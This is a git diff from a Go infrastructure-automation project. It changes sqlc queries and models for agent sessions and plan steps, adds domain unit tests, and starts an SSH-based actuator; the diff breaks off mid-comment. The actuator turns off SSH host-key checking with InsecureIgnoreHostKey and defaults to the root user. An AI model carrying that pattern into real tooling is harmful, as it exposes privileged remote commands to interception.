-- name: InsertSkill :exec
|
|
||||||
INSERT INTO skills (entity_id, version, name, procedure, applies_type, action,
|
|
||||||
pattern_ids, status, changed_by, change_reason)
|
|
||||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10);
|
|
||||||
|
|
||||||
-- name: UpdateSkillStatus :exec
|
-- name: UpdateSkillStatus :exec
|
||||||
UPDATE skills SET status = $2, last_used_at = now() WHERE entity_id = $1 AND version = $2;
|
UPDATE skills SET status = $2, last_used_at = now() WHERE entity_id = $1 AND version = $2;
|
||||||
|
|
||||||
|
|||||||
@@ -22,12 +22,6 @@ WHERE r.valid_to IS NULL
|
|||||||
AND (sqlc.narg('rel_types')::text[] IS NULL OR r.type = ANY(sqlc.narg('rel_types')::text[]))
|
AND (sqlc.narg('rel_types')::text[] IS NULL OR r.type = ANY(sqlc.narg('rel_types')::text[]))
|
||||||
ORDER BY r.type, se.slug, te.slug;
|
ORDER BY r.type, se.slug, te.slug;
|
||||||
|
|
||||||
-- name: UpsertCurrentRelationship :exec
|
|
||||||
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from, valid_to)
|
|
||||||
VALUES ($1, $2, $3, $4, now(), NULL)
|
|
||||||
ON CONFLICT (source_id, target_id, type) WHERE valid_to IS NULL
|
|
||||||
DO UPDATE SET attributes = EXCLUDED.attributes;
|
|
||||||
|
|
||||||
-- name: EndCurrentRelationship :execrows
|
-- name: EndCurrentRelationship :execrows
|
||||||
UPDATE relationships SET valid_to = now()
|
UPDATE relationships SET valid_to = now()
|
||||||
WHERE source_id = $1 AND target_id = $2 AND type = $3 AND valid_to IS NULL;
|
WHERE source_id = $1 AND target_id = $2 AND type = $3 AND valid_to IS NULL;
|
||||||
|
|||||||
@@ -177,43 +177,6 @@ func (q *Queries) ListEntities(ctx context.Context, arg ListEntitiesParams) ([]E
|
|||||||
return items, nil
|
return items, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
const listEntitiesCapped = `-- name: ListEntitiesCapped :many
|
|
||||||
SELECT e.id, e.slug, e.type, e.name, e.state, e.attributes, e.maintenance_until, e.version, e.created_at, e.updated_at, e.enrolled_at, e.enrolled_by FROM entities e ORDER BY e.slug LIMIT $1
|
|
||||||
`
|
|
||||||
|
|
||||||
func (q *Queries) ListEntitiesCapped(ctx context.Context, limit int32) ([]Entity, error) {
|
|
||||||
rows, err := q.db.Query(ctx, listEntitiesCapped, limit)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer rows.Close()
|
|
||||||
var items []Entity
|
|
||||||
for rows.Next() {
|
|
||||||
var i Entity
|
|
||||||
if err := rows.Scan(
|
|
||||||
&i.ID,
|
|
||||||
&i.Slug,
|
|
||||||
&i.Type,
|
|
||||||
&i.Name,
|
|
||||||
&i.State,
|
|
||||||
&i.Attributes,
|
|
||||||
&i.MaintenanceUntil,
|
|
||||||
&i.Version,
|
|
||||||
&i.CreatedAt,
|
|
||||||
&i.UpdatedAt,
|
|
||||||
&i.EnrolledAt,
|
|
||||||
&i.EnrolledBy,
|
|
||||||
); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
items = append(items, i)
|
|
||||||
}
|
|
||||||
if err := rows.Err(); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return items, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
const updateEntity = `-- name: UpdateEntity :one
|
const updateEntity = `-- name: UpdateEntity :one
|
||||||
UPDATE entities SET
|
UPDATE entities SET
|
||||||
name = COALESCE($1, name),
|
name = COALESCE($1, name),
|
||||||
|
|||||||
@@ -40,6 +40,12 @@ type AgentSession struct {
|
|||||||
Actor string
|
Actor string
|
||||||
CreatedAt time.Time
|
CreatedAt time.Time
|
||||||
LastActiveAt time.Time
|
LastActiveAt time.Time
|
||||||
|
Goal string
|
||||||
|
Status string
|
||||||
|
Outcome *string
|
||||||
|
Summary string
|
||||||
|
EntityID *uuid.UUID
|
||||||
|
CompletionNudges int32
|
||||||
}
|
}
|
||||||
|
|
||||||
type Approval struct {
|
type Approval struct {
|
||||||
@@ -83,6 +89,7 @@ type AuditLog struct {
|
|||||||
Detail []byte
|
Detail []byte
|
||||||
SourceIp *string
|
SourceIp *string
|
||||||
CorrelationID *string
|
CorrelationID *string
|
||||||
|
SessionID *uuid.UUID
|
||||||
}
|
}
|
||||||
|
|
||||||
type AutonomySetting struct {
|
type AutonomySetting struct {
|
||||||
@@ -289,6 +296,13 @@ type MetricSample struct {
|
|||||||
Tags []byte
|
Tags []byte
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type NomosPlanExecution struct {
|
||||||
|
ExecutionID uuid.UUID
|
||||||
|
SessionID uuid.UUID
|
||||||
|
ContinuedAt *time.Time
|
||||||
|
CreatedAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
type Pattern struct {
|
type Pattern struct {
|
||||||
EntityID uuid.UUID
|
EntityID uuid.UUID
|
||||||
AppliesType string
|
AppliesType string
|
||||||
@@ -351,6 +365,32 @@ type SeedVersion struct {
|
|||||||
AppliedAt time.Time
|
AppliedAt time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type SessionPlanStep struct {
|
||||||
|
ID uuid.UUID
|
||||||
|
SessionID uuid.UUID
|
||||||
|
Seq int32
|
||||||
|
Title string
|
||||||
|
Detail string
|
||||||
|
Status string
|
||||||
|
ExecutionID *uuid.UUID
|
||||||
|
TargetSlug *string
|
||||||
|
StartedAt *time.Time
|
||||||
|
FinishedAt *time.Time
|
||||||
|
CreatedAt time.Time
|
||||||
|
Generation int32
|
||||||
|
}
|
||||||
|
|
||||||
|
type SessionQuestion struct {
|
||||||
|
ID uuid.UUID
|
||||||
|
SessionID uuid.UUID
|
||||||
|
Prompt string
|
||||||
|
Context []byte
|
||||||
|
Status string
|
||||||
|
Answer *string
|
||||||
|
CreatedAt time.Time
|
||||||
|
AnsweredAt *time.Time
|
||||||
|
}
|
||||||
|
|
||||||
type Signal struct {
|
type Signal struct {
|
||||||
EntityID uuid.UUID
|
EntityID uuid.UUID
|
||||||
Kind string
|
Kind string
|
||||||
|
|||||||
@@ -416,48 +416,6 @@ func (q *Queries) InsertCheckDef(ctx context.Context, arg InsertCheckDefParams)
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
const insertClassification = `-- name: InsertClassification :exec
|
|
||||||
INSERT INTO classifications (entity_id, signal_entity_id, target_entity_id, action,
|
|
||||||
recommended_action, risk_class, route, blast_radius, pattern_confidence,
|
|
||||||
skill_id, autonomy_check, reasoning, correlation_id)
|
|
||||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13)
|
|
||||||
`
|
|
||||||
|
|
||||||
type InsertClassificationParams struct {
|
|
||||||
EntityID uuid.UUID
|
|
||||||
SignalEntityID *uuid.UUID
|
|
||||||
TargetEntityID *uuid.UUID
|
|
||||||
Action string
|
|
||||||
RecommendedAction []byte
|
|
||||||
RiskClass string
|
|
||||||
Route string
|
|
||||||
BlastRadius []uuid.UUID
|
|
||||||
PatternConfidence *float32
|
|
||||||
SkillID *uuid.UUID
|
|
||||||
AutonomyCheck *string
|
|
||||||
Reasoning []byte
|
|
||||||
CorrelationID string
|
|
||||||
}
|
|
||||||
|
|
||||||
func (q *Queries) InsertClassification(ctx context.Context, arg InsertClassificationParams) error {
|
|
||||||
_, err := q.db.Exec(ctx, insertClassification,
|
|
||||||
arg.EntityID,
|
|
||||||
arg.SignalEntityID,
|
|
||||||
arg.TargetEntityID,
|
|
||||||
arg.Action,
|
|
||||||
arg.RecommendedAction,
|
|
||||||
arg.RiskClass,
|
|
||||||
arg.Route,
|
|
||||||
arg.BlastRadius,
|
|
||||||
arg.PatternConfidence,
|
|
||||||
arg.SkillID,
|
|
||||||
arg.AutonomyCheck,
|
|
||||||
arg.Reasoning,
|
|
||||||
arg.CorrelationID,
|
|
||||||
)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
const insertEvent = `-- name: InsertEvent :one
|
const insertEvent = `-- name: InsertEvent :one
|
||||||
INSERT INTO events (type, entity_id, severity, source, data, correlation_id)
|
INSERT INTO events (type, entity_id, severity, source, data, correlation_id)
|
||||||
VALUES ($1, $2, $3, $4, $5, $6)
|
VALUES ($1, $2, $3, $4, $5, $6)
|
||||||
@@ -530,35 +488,6 @@ func (q *Queries) InsertExecution(ctx context.Context, arg InsertExecutionParams
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
const insertFeedback = `-- name: InsertFeedback :exec
|
|
||||||
INSERT INTO feedback (entity_id, execution_id, outcome, observation, lesson,
|
|
||||||
unexpected_side_effects, tags)
|
|
||||||
VALUES ($1, $2, $3, $4, $5, $6, $7)
|
|
||||||
`
|
|
||||||
|
|
||||||
type InsertFeedbackParams struct {
|
|
||||||
EntityID uuid.UUID
|
|
||||||
ExecutionID uuid.UUID
|
|
||||||
Outcome string
|
|
||||||
Observation *string
|
|
||||||
Lesson *string
|
|
||||||
UnexpectedSideEffects []string
|
|
||||||
Tags []string
|
|
||||||
}
|
|
||||||
|
|
||||||
func (q *Queries) InsertFeedback(ctx context.Context, arg InsertFeedbackParams) error {
|
|
||||||
_, err := q.db.Exec(ctx, insertFeedback,
|
|
||||||
arg.EntityID,
|
|
||||||
arg.ExecutionID,
|
|
||||||
arg.Outcome,
|
|
||||||
arg.Observation,
|
|
||||||
arg.Lesson,
|
|
||||||
arg.UnexpectedSideEffects,
|
|
||||||
arg.Tags,
|
|
||||||
)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
const insertMetricSample = `-- name: InsertMetricSample :exec
|
const insertMetricSample = `-- name: InsertMetricSample :exec
|
||||||
INSERT INTO metric_samples (entity_id, metric, value, tags, ts)
|
INSERT INTO metric_samples (entity_id, metric, value, tags, ts)
|
||||||
VALUES ($1, $2, $3, $4, now())
|
VALUES ($1, $2, $3, $4, now())
|
||||||
@@ -581,41 +510,6 @@ func (q *Queries) InsertMetricSample(ctx context.Context, arg InsertMetricSample
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
const insertSkill = `-- name: InsertSkill :exec
|
|
||||||
INSERT INTO skills (entity_id, version, name, procedure, applies_type, action,
|
|
||||||
pattern_ids, status, changed_by, change_reason)
|
|
||||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)
|
|
||||||
`
|
|
||||||
|
|
||||||
type InsertSkillParams struct {
|
|
||||||
EntityID uuid.UUID
|
|
||||||
Version int32
|
|
||||||
Name string
|
|
||||||
Procedure []byte
|
|
||||||
AppliesType *string
|
|
||||||
Action string
|
|
||||||
PatternIds []uuid.UUID
|
|
||||||
Status string
|
|
||||||
ChangedBy *uuid.UUID
|
|
||||||
ChangeReason *string
|
|
||||||
}
|
|
||||||
|
|
||||||
func (q *Queries) InsertSkill(ctx context.Context, arg InsertSkillParams) error {
|
|
||||||
_, err := q.db.Exec(ctx, insertSkill,
|
|
||||||
arg.EntityID,
|
|
||||||
arg.Version,
|
|
||||||
arg.Name,
|
|
||||||
arg.Procedure,
|
|
||||||
arg.AppliesType,
|
|
||||||
arg.Action,
|
|
||||||
arg.PatternIds,
|
|
||||||
arg.Status,
|
|
||||||
arg.ChangedBy,
|
|
||||||
arg.ChangeReason,
|
|
||||||
)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
const listApprovalRules = `-- name: ListApprovalRules :many
|
const listApprovalRules = `-- name: ListApprovalRules :many
|
||||||
SELECT id, entity_type, action, risk_class, autonomy_level, scope_entity, version, updated_at FROM approval_rules ORDER BY entity_type, action
|
SELECT id, entity_type, action, risk_class, autonomy_level, scope_entity, version, updated_at FROM approval_rules ORDER BY entity_type, action
|
||||||
`
|
`
|
||||||
@@ -852,44 +746,6 @@ func (q *Queries) ListEnabledCheckDefs(ctx context.Context) ([]ListEnabledCheckD
|
|||||||
return items, nil
|
return items, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
const listEntityStatus = `-- name: ListEntityStatus :many
|
|
||||||
SELECT e.slug, e.type, st.health, st.last_check_at
|
|
||||||
FROM entity_status st JOIN entities e ON e.id = st.entity_id
|
|
||||||
ORDER BY e.slug
|
|
||||||
`
|
|
||||||
|
|
||||||
type ListEntityStatusRow struct {
|
|
||||||
Slug string
|
|
||||||
Type string
|
|
||||||
Health string
|
|
||||||
LastCheckAt *time.Time
|
|
||||||
}
|
|
||||||
|
|
||||||
func (q *Queries) ListEntityStatus(ctx context.Context) ([]ListEntityStatusRow, error) {
|
|
||||||
rows, err := q.db.Query(ctx, listEntityStatus)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer rows.Close()
|
|
||||||
var items []ListEntityStatusRow
|
|
||||||
for rows.Next() {
|
|
||||||
var i ListEntityStatusRow
|
|
||||||
if err := rows.Scan(
|
|
||||||
&i.Slug,
|
|
||||||
&i.Type,
|
|
||||||
&i.Health,
|
|
||||||
&i.LastCheckAt,
|
|
||||||
); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
items = append(items, i)
|
|
||||||
}
|
|
||||||
if err := rows.Err(); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return items, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
const listEvents = `-- name: ListEvents :many
|
const listEvents = `-- name: ListEvents :many
|
||||||
SELECT id, ts, type, entity_id, severity, source, data, correlation_id
|
SELECT id, ts, type, entity_id, severity, source, data, correlation_id
|
||||||
FROM events
|
FROM events
|
||||||
@@ -1462,20 +1318,6 @@ func (q *Queries) UpdatePatternStatus(ctx context.Context, arg UpdatePatternStat
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
const updateSignalState = `-- name: UpdateSignalState :exec
|
|
||||||
UPDATE signals SET state = $2, updated_at = now() WHERE entity_id = $1
|
|
||||||
`
|
|
||||||
|
|
||||||
type UpdateSignalStateParams struct {
|
|
||||||
EntityID uuid.UUID
|
|
||||||
State string
|
|
||||||
}
|
|
||||||
|
|
||||||
func (q *Queries) UpdateSignalState(ctx context.Context, arg UpdateSignalStateParams) error {
|
|
||||||
_, err := q.db.Exec(ctx, updateSignalState, arg.EntityID, arg.State)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
const updateSkillStatus = `-- name: UpdateSkillStatus :exec
|
const updateSkillStatus = `-- name: UpdateSkillStatus :exec
|
||||||
UPDATE skills SET status = $2, last_used_at = now() WHERE entity_id = $1 AND version = $2
|
UPDATE skills SET status = $2, last_used_at = now() WHERE entity_id = $1 AND version = $2
|
||||||
`
|
`
|
||||||
|
|||||||
@@ -139,27 +139,3 @@ func (q *Queries) ListGraphEdges(ctx context.Context, arg ListGraphEdgesParams)
|
|||||||
}
|
}
|
||||||
return items, nil
|
return items, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
const upsertCurrentRelationship = `-- name: UpsertCurrentRelationship :exec
|
|
||||||
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from, valid_to)
|
|
||||||
VALUES ($1, $2, $3, $4, now(), NULL)
|
|
||||||
ON CONFLICT (source_id, target_id, type) WHERE valid_to IS NULL
|
|
||||||
DO UPDATE SET attributes = EXCLUDED.attributes
|
|
||||||
`
|
|
||||||
|
|
||||||
type UpsertCurrentRelationshipParams struct {
|
|
||||||
SourceID uuid.UUID
|
|
||||||
TargetID uuid.UUID
|
|
||||||
Type string
|
|
||||||
Attributes []byte
|
|
||||||
}
|
|
||||||
|
|
||||||
func (q *Queries) UpsertCurrentRelationship(ctx context.Context, arg UpsertCurrentRelationshipParams) error {
|
|
||||||
_, err := q.db.Exec(ctx, upsertCurrentRelationship,
|
|
||||||
arg.SourceID,
|
|
||||||
arg.TargetID,
|
|
||||||
arg.Type,
|
|
||||||
arg.Attributes,
|
|
||||||
)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|||||||
139
internal/domain/domain_test.go
Normal file
139
internal/domain/domain_test.go
Normal file
@@ -0,0 +1,139 @@
|
|||||||
|
package domain
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestIsNil(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
u UUID
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{"empty string", UUID(""), true},
|
||||||
|
{"single char", UUID("x"), false},
|
||||||
|
{"uuid string", UUID("550e8400-e29b-41d4-a716-446655440000"), false},
|
||||||
|
{"nil literal", UUID(""), true},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.name, func(t *testing.T) {
|
||||||
|
got := c.u.IsNil()
|
||||||
|
if got != c.want {
|
||||||
|
t.Errorf("UUID(%q).IsNil() = %v, want %v", c.u, got, c.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCanTransition(t *testing.T) {
|
||||||
|
type tc struct {
|
||||||
|
name string
|
||||||
|
from string
|
||||||
|
to string
|
||||||
|
want bool
|
||||||
|
}
|
||||||
|
var cases []tc
|
||||||
|
|
||||||
|
for from, targets := range ValidSignalTransitions {
|
||||||
|
for _, to := range targets {
|
||||||
|
cases = append(cases, tc{from + "->" + to, from, to, true})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
disallowed := []tc{
|
||||||
|
{"raised->raised", SignalRaised, SignalRaised, false},
|
||||||
|
{"resolved->raised", SignalResolved, SignalRaised, false},
|
||||||
|
{"failed->raised", SignalFailed, SignalRaised, false},
|
||||||
|
{"acknowledged->raised", SignalAcknowledged, SignalRaised, false},
|
||||||
|
{"muted->resolved", SignalMuted, SignalResolved, false},
|
||||||
|
{"acting->acknowledged", SignalActing, SignalAcknowledged, false},
|
||||||
|
}
|
||||||
|
cases = append(cases, disallowed...)
|
||||||
|
|
||||||
|
cases = append(cases,
|
||||||
|
tc{"unknown source", "nonexistent", SignalRaised, false},
|
||||||
|
tc{"unknown target", SignalRaised, "nonexistent", false},
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.name, func(t *testing.T) {
|
||||||
|
s := &Signal{State: c.from}
|
||||||
|
got := s.CanTransition(c.to)
|
||||||
|
if got != c.want {
|
||||||
|
t.Errorf("CanTransition(%q -> %q) = %v, want %v", c.from, c.to, got, c.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSentinelErrors(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
err error
|
||||||
|
msg string
|
||||||
|
}{
|
||||||
|
{"ErrNotFound", ErrNotFound, "entity not found"},
|
||||||
|
{"ErrInvalidTransition", ErrInvalidTransition, "invalid lifecycle transition"},
|
||||||
|
{"ErrApprovalRequired", ErrApprovalRequired, "operator approval required"},
|
||||||
|
{"ErrAutonomyBlocked", ErrAutonomyBlocked, "autonomy policy blocks this action"},
|
||||||
|
{"ErrConflict", ErrConflict, "concurrent modification conflict"},
|
||||||
|
{"ErrCircuitOpen", ErrCircuitOpen, "circuit breaker open for target"},
|
||||||
|
{"ErrAbstractType", ErrAbstractType, "cannot instantiate abstract entity type"},
|
||||||
|
{"ErrInvalidEdge", ErrInvalidEdge, "relationship endpoint type mismatch"},
|
||||||
|
{"ErrCardinality", ErrCardinality, "relationship cardinality violation"},
|
||||||
|
{"ErrSeedHashMismatch", ErrSeedHashMismatch, "seed content hash mismatch"},
|
||||||
|
{"ErrAlreadyExists", ErrAlreadyExists, "entity already exists"},
|
||||||
|
{"ErrQuarantined", ErrQuarantined, "pattern is quarantined"},
|
||||||
|
{"ErrSkillDeprecated", ErrSkillDeprecated, "skill is deprecated"},
|
||||||
|
{"ErrInvalidInput", ErrInvalidInput, "invalid input"},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.name, func(t *testing.T) {
|
||||||
|
if c.err == nil {
|
||||||
|
t.Fatal("sentinel error is nil")
|
||||||
|
}
|
||||||
|
if !errors.Is(c.err, c.err) {
|
||||||
|
t.Errorf("errors.Is failed for %s", c.name)
|
||||||
|
}
|
||||||
|
if c.err.Error() != c.msg {
|
||||||
|
t.Errorf("Error() = %q, want %q", c.err.Error(), c.msg)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSignalTransitionsComplete(t *testing.T) {
|
||||||
|
// Non-terminal states must be keys in ValidSignalTransitions.
|
||||||
|
// SignalResolved is a terminal state (no outgoing transitions) and is
|
||||||
|
// intentionally absent from the map.
|
||||||
|
nonTerminal := []string{
|
||||||
|
SignalRaised,
|
||||||
|
SignalAcknowledged,
|
||||||
|
SignalActing,
|
||||||
|
SignalMuted,
|
||||||
|
SignalFailed,
|
||||||
|
}
|
||||||
|
for _, state := range nonTerminal {
|
||||||
|
targets, ok := ValidSignalTransitions[state]
|
||||||
|
if !ok {
|
||||||
|
t.Errorf("non-terminal state %q missing from ValidSignalTransitions", state)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(targets) == 0 {
|
||||||
|
t.Errorf("state %q maps to empty transition list", state)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Resolved is terminal: it should not appear as a source key.
|
||||||
|
if _, ok := ValidSignalTransitions[SignalResolved]; ok {
|
||||||
|
t.Errorf("terminal state %q should not have outgoing transitions", SignalResolved)
|
||||||
|
}
|
||||||
|
|
||||||
|
// No state anywhere in the map may map to nil/empty.
|
||||||
|
for state, targets := range ValidSignalTransitions {
|
||||||
|
if len(targets) == 0 {
|
||||||
|
t.Errorf("state %q maps to empty/nil transition list", state)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
676
internal/httpapi/actuator.go
Normal file
676
internal/httpapi/actuator.go
Normal file
@@ -0,0 +1,676 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log/slog"
|
||||||
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"golang.org/x/crypto/ssh"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
_sshUser string
|
||||||
|
_sshKey []byte
|
||||||
|
)
|
||||||
|
|
||||||
|
// flexBool accepts a JSON bool, number (0/1), or string ("true"/"1"/"yes").
|
||||||
|
// LLMs routinely emit `"privileged": 0` instead of `false`; a strict `bool`
|
||||||
|
// field made the approved pct_create execution fail to parse *after* the
|
||||||
|
// operator had already approved it — the container was never created and the
|
||||||
|
// operator saw "queued" with no result. This type tolerates the common shapes.
|
||||||
|
type flexBool bool
|
||||||
|
|
||||||
|
func (b *flexBool) UnmarshalJSON(data []byte) error {
|
||||||
|
s := strings.TrimSpace(strings.Trim(string(data), `"`))
|
||||||
|
switch strings.ToLower(s) {
|
||||||
|
case "true", "1", "yes", "on":
|
||||||
|
*b = true
|
||||||
|
case "false", "0", "no", "off", "", "null":
|
||||||
|
*b = false
|
||||||
|
default:
|
||||||
|
return fmt.Errorf("cannot parse %q as bool", s)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func initSSH() {
|
||||||
|
if _sshUser == "" {
|
||||||
|
_sshUser = os.Getenv("OIKOS_SSH_USER")
|
||||||
|
if _sshUser == "" {
|
||||||
|
_sshUser = "root"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(_sshKey) == 0 {
|
||||||
|
keyPath := os.Getenv("OIKOS_SSH_KEY_PATH")
|
||||||
|
if keyPath == "" {
|
||||||
|
keyPath = "/etc/oikos/ssh_key"
|
||||||
|
}
|
||||||
|
var err error
|
||||||
|
_sshKey, err = os.ReadFile(keyPath)
|
||||||
|
if err != nil {
|
||||||
|
slog.Warn("httpapi ssh: cannot read key", "path", keyPath, "error", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// sshExecTimeout bounds how long a single remote command may run. Without
|
||||||
|
// this, a hung remote command (e.g. a piped install script stuck retrying
|
||||||
|
// DNS against a misconfigured gateway) blocks the executing goroutine
|
||||||
|
// forever: the execution never leaves 'approved'/'running', the operator
|
||||||
|
// sees an unkillable spinner, and get_execution_status has nothing new to
|
||||||
|
// report. Generous enough for a real apt/docker install; not infinite.
|
||||||
|
const sshExecTimeout = 10 * time.Minute
|
||||||
|
|
||||||
|
func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||||
|
initSSH()
|
||||||
|
if len(_sshKey) == 0 {
|
||||||
|
return "", fmt.Errorf("no SSH key available")
|
||||||
|
}
|
||||||
|
if user == "" {
|
||||||
|
user = _sshUser
|
||||||
|
}
|
||||||
|
|
||||||
|
addr := host + ":22"
|
||||||
|
signer, err := ssh.ParsePrivateKey(_sshKey)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("parse key: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg := &ssh.ClientConfig{
|
||||||
|
User: user,
|
||||||
|
Auth: []ssh.AuthMethod{ssh.PublicKeys(signer)},
|
||||||
|
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||||
|
Timeout: 10 * time.Second,
|
||||||
|
}
|
||||||
|
|
||||||
|
client, err := ssh.Dial("tcp", addr, cfg)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("dial %s: %w", host, err)
|
||||||
|
}
|
||||||
|
defer client.Close()
|
||||||
|
|
||||||
|
session, err := client.NewSession()
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("session: %w", err)
|
||||||
|
}
|
||||||
|
defer session.Close()
|
||||||
|
|
||||||
|
type result struct {
|
||||||
|
out []byte
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
done := make(chan result, 1)
|
||||||
|
go func() {
|
||||||
|
// See internal/mcp/server.go's sshExec for why this recovers rather
|
||||||
|
// than letting a rare SSH-library panic crash the whole api process.
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
done <- result{nil, fmt.Errorf("panic in ssh exec: %v", r)}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
out, err := session.CombinedOutput(command)
|
||||||
|
done <- result{out, err}
|
||||||
|
}()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case r := <-done:
|
||||||
|
text := strings.TrimSpace(string(r.out))
|
||||||
|
// A non-zero exit MUST surface as an error. The previous guard only
|
||||||
|
// errored when there was no output, so a `pct create` that printed
|
||||||
|
// "CT 132 already exists" and exited non-zero was reported as
|
||||||
|
// success — the execution was marked completed though nothing was
|
||||||
|
// provisioned.
|
||||||
|
if r.err != nil {
|
||||||
|
if text != "" {
|
||||||
|
return text, fmt.Errorf("%w: %s", r.err, text)
|
||||||
|
}
|
||||||
|
return text, fmt.Errorf("exec: %w", r.err)
|
||||||
|
}
|
||||||
|
return text, nil
|
||||||
|
case <-time.After(sshExecTimeout):
|
||||||
|
// Close the session/client to hang up the remote side; the
|
||||||
|
// goroutine above will eventually exit once that unblocks
|
||||||
|
// CombinedOutput, but we don't wait for it — the caller needs an
|
||||||
|
// answer now, not an indefinite hang.
|
||||||
|
session.Close()
|
||||||
|
client.Close()
|
||||||
|
return "", fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||||
|
case <-ctx.Done():
|
||||||
|
session.Close()
|
||||||
|
client.Close()
|
||||||
|
return "", ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func resolveHostSSH(ctx context.Context, pool *db.Pool, entitySlug string) (string, string, error) {
|
||||||
|
var attrs string
|
||||||
|
err := pool.QueryRow(ctx, "SELECT attributes::text FROM entities WHERE slug = $1", entitySlug).Scan(&attrs)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", fmt.Errorf("entity not found: %s", entitySlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
var m map[string]interface{}
|
||||||
|
if err := json.Unmarshal([]byte(attrs), &m); err != nil {
|
||||||
|
return "", "", fmt.Errorf("parse attributes: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
sshUser := _sshUser
|
||||||
|
if sshUser == "" {
|
||||||
|
sshUser = "root"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ip, ok := m["lan_ip"].(string); ok && ip != "" {
|
||||||
|
return ip, sshUser, nil
|
||||||
|
}
|
||||||
|
if mesh, ok := m["mesh"].(map[string]interface{}); ok {
|
||||||
|
for _, proto := range []string{"netbird", "tailscale"} {
|
||||||
|
if p, ok := mesh[proto].(map[string]interface{}); ok {
|
||||||
|
if ip, ok := p["ip"].(string); ok && ip != "" {
|
||||||
|
return ip, sshUser, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "", "", fmt.Errorf("no IP found for %s", entitySlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveRunTarget mirrors internal/mcp.resolveExecTarget for the approved-
|
||||||
|
// execution side: any target slug (host: or lxc:) resolves to the SSH
|
||||||
|
// endpoint that runs the command plus a wrap function that turns a plain
|
||||||
|
// shell command into what actually needs to be sent — identity for a host,
